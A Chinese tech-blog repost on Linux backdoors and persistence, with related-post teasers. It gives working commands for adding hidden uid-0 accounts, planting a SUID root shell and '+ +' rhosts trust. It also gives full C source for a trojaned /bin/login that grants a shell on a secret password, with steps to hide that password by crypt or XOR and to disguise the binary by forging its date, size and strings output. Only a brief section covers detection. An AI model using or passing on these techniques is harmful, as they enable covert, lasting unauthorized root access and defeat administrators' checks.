Linux后门技术及实践(过时的)

20194307肖江宇Exp2—后门原理与实践 文章目录20194307肖江宇Exp-2后门原理与实践1.实验基础1.1基础知识1.2常用后门工具NC和NetcatSoCat任何代理、转发等功能都可以用该工具实现。Meterpreter2.实验目标2.1实验环境3.实验过程3.1使用netcat获取主机操作Shell,cron启动**(1)在主机中获取虚拟机shell****(2)在虚拟机中获取主机shell****(3)在虚拟机中cron启动并在主机监听**3.2使用socat获取主机操作Shell,任务计划启动(1)在Windows获得Linux S 阅读详情
后门简介

  入侵者完全控制系统后,为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

  常用后门技术

  增加超级用户账号

  破解/嗅探用户密码

  放置SUID Shell

  rhosts + +

  利用系统服务程序

  TCP/UDP/ICMP Shell

  Crontab定时任务

  共享库文件

  工具包rootkit

  可装载内核模块(LKM)

  增加超级用户


# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd 
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。

  破解/嗅探用户密码

  获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、FTP等端口,收集用户密码。

  放置SUID Shell


# cp /bin/bash /dev/.rootshell 
# chmod u+s /dev/.rootshell

  普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。


rhosts + + 

# echo "+ +" > /.rhosts 
# rsh -l root victim.com csh -i

  远程可以得到一个rootshell。

  利用系统服务程序。

  修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序,重定向login程序。

  TCP/UDP/ICMP Shell

  BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。
  Crontab定时任务
  通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。

  共享库文件

  在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验。

  工具包Rootkit

  包含一系列系统及后门工具:

  - 清除日志中的登录记录

  - 伪装校验和

  - 替换netstat、ps等网络工具

  - 后门登录程序易于安装和使用

  可装载内核模块(LKM)

  LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。

  截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。

  自身隐蔽性好,发现难度较大。

  著名的LKM包有adore和knark。

  后门的检测

  以自己的经验,结合特定的工具,手工作一些检测。使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。

  实例:Login后门

  入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型,传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。

  最简单的login后门ulogin.c源代码如下:

  实例:login后门


#include <stdio.h> 
#define PASSWord "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 
{ 
 char *display = getenv("DISPLAY"); 
 if ( display == NULL ) { 
  execve(_PATH_LOGIN, argv, envp); 
  perror(_PATH_LOGIN); 
  exit(1); 
 } 
 if (!strcmp(display,PASSWORD)) { 
  system("/bin/csh"); 
  exit(1); 
 } 
 execve(_PATH_LOGIN, argv, envp);  
  exit(1); 
}
  利用后门登录
  首先Telnet服务是打开的,在自己机器上:

 


bash$ eXPort DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

  Strings命令

  strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:


bash$ strings ulogin 
/lib/ld-Linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

  加密后门密码

  1,采用DES算法,即crypt( )函数,编写gen.c程序:


#include <unistd.h> 
main(int argc, char *argv[]) 
{ 
if (argc != 3) { 
printf("usage: %s <password> <salt>/n", argv[0]); 
exit(1); 
} 
printf("%s/n", crypt(argv[1], argv[2])); 
}

  2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

  3、修改后门源程序ulogin.c:

  -- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

  -- 如果后门密码正确,直接给出Shell:


if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 
{ 
system(SHELL); 
exit(1); 
}

  用strings命令只能看到加密过的密码。

  采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

  1、编码程序encode.c如下:

char magic[]="/x71/x67/x6d/x7a/x65/x61/x7a"; 
char *de(char *str,char *key) 
{ 
int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '/0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 
} 
return str; 
} 
void display(char *str) 
{ 
int i; 
for(i=0;i<strlen(str);i++) printf("//x%x",str[i]); 
printf("/n"); 
} 
main() 
{ 
char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

  2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

  /x5e/x14/xf/x13/xb/x4e/x2/x1d/x8/xa/x13/xb
  3、在后门源代码中这样定义:
  Char

  login[]="/x5e/x14/xf/x13/xb/x4e/x2/x1d/x8/xa/x13/xb";

  然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

  用strings命令看不到密码、路径等字符串了。

  最后的修饰

  使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:

  在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

  调整后门程序的文件日期、大小等属性:

  1、日期

  # ls -l /sbin/xlogin

  -r-sr-xr-x root root 19300 Feb 11 1998

  /sbin/xlogin

  # toUCh -t 199802110000 ulogin

  # _

  2、调整大小

  # ls -l ulogin /sbin/xlogin

-r-sr-xr-x root root 7542 Feb 11 1998 ulogin

 

  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

  # bc

  19300-7542

  11758

  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

  1+0 records in

  1+0 records out

  11758 bytes transferred in 0.000379 secs (31016746

  bytes/sec)

  # cat /tmp/t >> ulogin

  Login后门的检测

  使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。

  使用Red Hat Linux的RPM校验:

  # rpm -V util-linux

  在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

Linux权限维持之suid后门、ssh后门 通过笔记详细讲解SUID、SSH后门小技巧,更加高效的熟练掌握Linux提权方法。 阅读详情

相关推荐

Linux常见后门

Rootkit 是网络犯罪分子用来控制目标计算机或网络的软件。Rootkit 有时可以显示为单个软件,但通常由一系列工具组成,这些工具允许黑客对目标设备进行管理员级控制。黑客通过多种方式在目标计算机上安装 Rootkit:最常见的是通过网络钓鱼或其他类型的社会工程攻击。受害者在不知不觉中下载并安装隐藏在计算机上运行的其他进程中的恶意软件,并让黑客控制操作系统的几乎所有方面。另一种方法是利用漏洞(即软件或未更新的操作系统中的弱点)并将 Rootkit 强制安装到计算机上。

m0_68037567的博客 1017

仍然有人在叫喊C语言已经过时了

现在,仍然有人在叫喊C语言已经过时了。还有什么值得学习的?看看现在使用Python、PHP和其他语言有多简单。谁去学旧的C语言?是真的吗?作者下载了这两种语言的底层源代码。由于空间的限制,它没有分析框架是如何实现这些编程语言的。 只需列出以下目录结构: PHP部分基础文件 底层文件的python部分 如今,程序设计语言的发展速度和多样性正在迅速变化。现在C语言走在前台的机会越来...

weixin_30872789的博客 271

Linux系统后门技术(隐藏帐户篇)注:已发表在《黑客手册》第6期

  Linux系统后门技术(隐藏帐户篇)        每当我们欢天喜地的得到一个linux系统的服务器肉鸡时,最大的愿望就是能把它永远留住。当然,永远留住是不可能的,但是我们要尽量的不让它飞走。这就要用到linux的后门技术了,这是项复杂的技术,本人水平有限不可能面面俱到,我只希望这一系列文章能为大家提供一点思路,在您hacking的道路上打开一扇方便之门!       言归

yxyhack's blog 1万+

Linux后门技术及实践

Mail:e4gle@whitecell.org    Page:http://www.whitecell.org    Copyright: Whitecell Security Systems 概述   后门简介   常用后门技术   后门的检测   实例讲解:login后门 后门简介   入侵者完全控制系统后,为方便下次进入   而采用的一种技术。   一般通过修改系统配置文件和安装

1270

20192209 Exp2-后门原理与实践

20192209 Exp2-后门原理与实践 学习内容:使用nc实现win,mac,Linux间的后门连接 :meterpreter的应用 :MSF POST 模块的应用 学习目标:建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识 。 最后编辑:20180221 Wildlinux 1.后门概念 后门就是不经过正常认证流程而访问系统的通道。 哪里有后门呢? 编译器留后门 操作系统留后门 最常见的当然还是应用程序中留后门 还有就是潜伏于操作系统..

LIULIULOO的博客 962

Linux权限维持—后门篇

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。 rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的

渗透之路,攻防之间皆学问 4475

linux 系统命令被后门修改_红队实战攻防技术分享:Linux后门总结SSH利用篇

导读:常见红队评估中,也能遇到很多Linux服务器,如何使Linux在安全人员/运维人员的检查过程中能够稳定的持续的用做跳板,本系列文章将对常见的Linux后门技术作以总结归纳,将相关技术展现给大家。本篇文章是Linux后门总结文章第一篇,简单介绍了一些常见的shell反弹用法,还有针对不同系统/架构的反弹用法,后门要达到的目的一般都是用作权限维持,这里只介绍几种后面文章中会利用到的sh...

weixin_39917090的博客 862

第五节 Amesim《直动型溢流阀HCD建模》HCD5 学习资料

利用HCD原则创建直动型溢流阀的界面。这可能包括图形化表示直动型溢流阀的工作原理、操作方式和调节方法。这样的界面应当直观且易于理解,使用户能够轻松了解阀门的功能和使用方法。

m0_58052642的博客 1330

linux后门分析,浅谈Linux的后门技术及实践入侵

2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb3、在后门源代码中这样定义:Charlogin[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";然后插入异或函数char *de...

weixin_34511324的博客 453

STM32H7 Flash擦除后数据读取异常的缓存问题解析

本文深入分析了STM32H7系列芯片在Flash擦除后数据读取异常的缓存问题,揭示了由于数据缓存(D-Cache)和指令缓存(I-Cache)导致的数据一致性问题。通过详细的解决方案,包括手动维护缓存一致性和操作期间禁用缓存,帮助开发者有效解决这一常见但棘手的嵌入式开发难题。

weixin_29158413的博客 392

EMQX 结合MySQL实现精细化ACL权限管理实战

本文详细介绍了如何通过EMQX结合MySQL实现精细化的ACL权限管理,提升物联网设备接入和消息传输的安全性。内容包括环境准备、基础配置、权限规则设计技巧以及高级应用与性能优化方案,帮助开发者快速掌握动态生效、便于管理的权限控制方法。

weixin_28683689的博客 196

Linux持续化后门

Linux权限维持 环境:Centos7、Kali虚拟机等 1、增加超级用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test 通过命令创建了test 123456的超级用户 2、unix bash远...

小晓晓晓林的博客 3535

大学物理第二章 质点动力学详解

大学物理第二章 质点动力学概念详解

weixin_63026364的博客 1万+

2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或netcat获取远程主机的Shell 1.1 Windows获得Linux Shell 1.2 Linux获得Win Shell 1.3 Mac获取Win shell 1.4 Win获取Mac S...

axhc_chentao1981的博客 1407

LSF实践专题(15):LSF队列优先级以及抢占功能初探

在LSF暂停作业时,会向作业发送一个SIGTSTP信号,并且将作业状态变成SSUSP(system suspend),表示被系统暂停,这时,最好是作业的应用能够捕获和处理SIGTSTP信号,否则,即使在LSF中,作业会被认为暂停了,并且释放了slots资源,但是在实际OS中,作业进程仍然在继续,并且不会释放CPU等计算资源。是指LSF自动将低优先级作业暂停(suspend),将空余出来的资源交给高优先级队列中的作业使用,等到高优先级队列的作业结束后,再将被暂停的作业恢复(resume)并继续运行。

richycn的博客 1919

UG\NX二次开发 分割曲线

分割曲线没有ufun函数?那就换一种思路实现。

王牌飞行员_里海的博客 1144

后门技术和Linux LKM Rootkit详解

在这篇文章里, 我们将看到各种不同的后门技术,特别是 Linux的可装载内核模块(LKM)。 我们将会发现LKM后门比传统的后门程序更加复杂,更加强大,更不易于被发现。知道这些之后,我们可以制造我们 自己的基于LKM的Rootkit程序, 主要体现在TCP/IP层, 因为我们相信这是在系统管理员面前最好的隐藏后门的地方。序言在一些黑客组织中, Rootkit (或者backdoor) 是一

zhxlinux的专栏 1239

LangChain4j + MCP:从工具协议到生产级 Agent

这两年,很多团队都已经把「大模型问答」接入到系统里了:前端一个输入框,后端调一下 OpenAI / DeepSeek / 本地模型,返回一段回答——这类 「简单问答型」AI 功能它只能说,不会做:不会主动查数据库,不会调用你的接口,不会帮你真正执行脚本;面对复杂一点的需求,比如「帮我生成这个报表的 SQL 并执行一下」,普通 ChatGPT 式的问答就开始力不从心了。而Agent 智能体想解决的,就是这件事:不只是回答你「怎么做」,而是能自己思考、自己决定要不要用工具、再用工具把事做完。

OFFTime_we的博客 1152

【实战】 Linux 后门系列 Vim 后门

Vim(Vi IMproved)是一款强大的文本编辑器。它支持多种编辑模式,具有丰富的编辑功能和高度可定制性。Vim 提供了代码折叠、语法高亮、自动补全等功能,适用于程序员和文本编辑爱好者。通过个性化配置和插件系统,用户可以定制快捷键、颜色方案等。Vim 还可以作为图形化编辑器,在不同操作系统上运行,并与版本控制系统集成。总之,Vim 是一款高效、灵活的编辑器,为用户提供优秀的编辑体验。0x00 简介0x01 Vim 配置加载过程1. vim 配置说明2. 确定已加载的配置。

jijisaq的博客 1644

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

linux后门技术及实践,Linux后门的两种姿势:suid shell与inetd后门

前提:你现在已经是root用户, 想留一个后门。系统环境:dawg:~# uname -aLinux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux1. SUID shell首先, 先切换成为root用户,并执行以下的命令:dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /...

weixin_32204687的博客 451

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

Metasploit后门渗透Linux系统以及跨平台后门生成

Metasploit后门渗透Linux系统以及跨平台后门生成 Metasploit后门渗透Linux系统以及跨平台后门生成1.Metasploit对目标主机SSH爆破1.1爆破过程2.PHP后门生成3.JAVA后门生成4.LINUX后门生成参考文档 TOC 1.Metasploit对目标主机SSH爆破 1.实验原理:靶机root用户存在弱口令漏洞,利用枚举的方法破解目标主机ssh...

398

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

linux 持久化后门

前言 收集复现下网上linux后门姿势,一起学习下。 这张图特别好 添加超级用户 某些情况下是没有回显的,可以用一句话直接添加用户 1、useradd guest;echo 'guest:123456'|chpasswd 2、useradd -p `openssl passwd 123456` guest 3、useradd -p "$(openssl passwd 12...

luguifang2011的专栏 3439

linux上php木马、后门查杀总结

http://ggmmchou.blog.163.com/blog/static/59333149201151733626676/ linux上php木马、后门查杀总结     经过联系断续一个月的对抗,网站被攻击、挂马、做SEO黑帽的问题终于告一段落,现在总结下经验。 Web Server(Nginx为例)1、为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多

张同光 (Tongguang Zhang):Hello everyone ! 3353

msf-Msfvenonm生成Linux后门木马实验

msf-meterpreter生成Linux后门木马实验 0x01 知识点 MSF工具的利用,msf生成Linux木马后门 0x02 实验环境: 攻击机kaili linux 2020 (ip:192.168.233.131) 攻击机kaili linux 2020 (ip:192.168.233.129) 0x03 实验过程 1、生成Linux后门 131机器打开kali msfconsole 输入 msfvenom -p linux/x64/meterpreter/reve..

渗透、攻防、CTF、编程 1万+
上一篇: IPC和管道简介
下一篇: Windows 2000、Windows XP 和 Linux 中的管道
ender049
博客等级 码龄20年 7粉丝 1原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值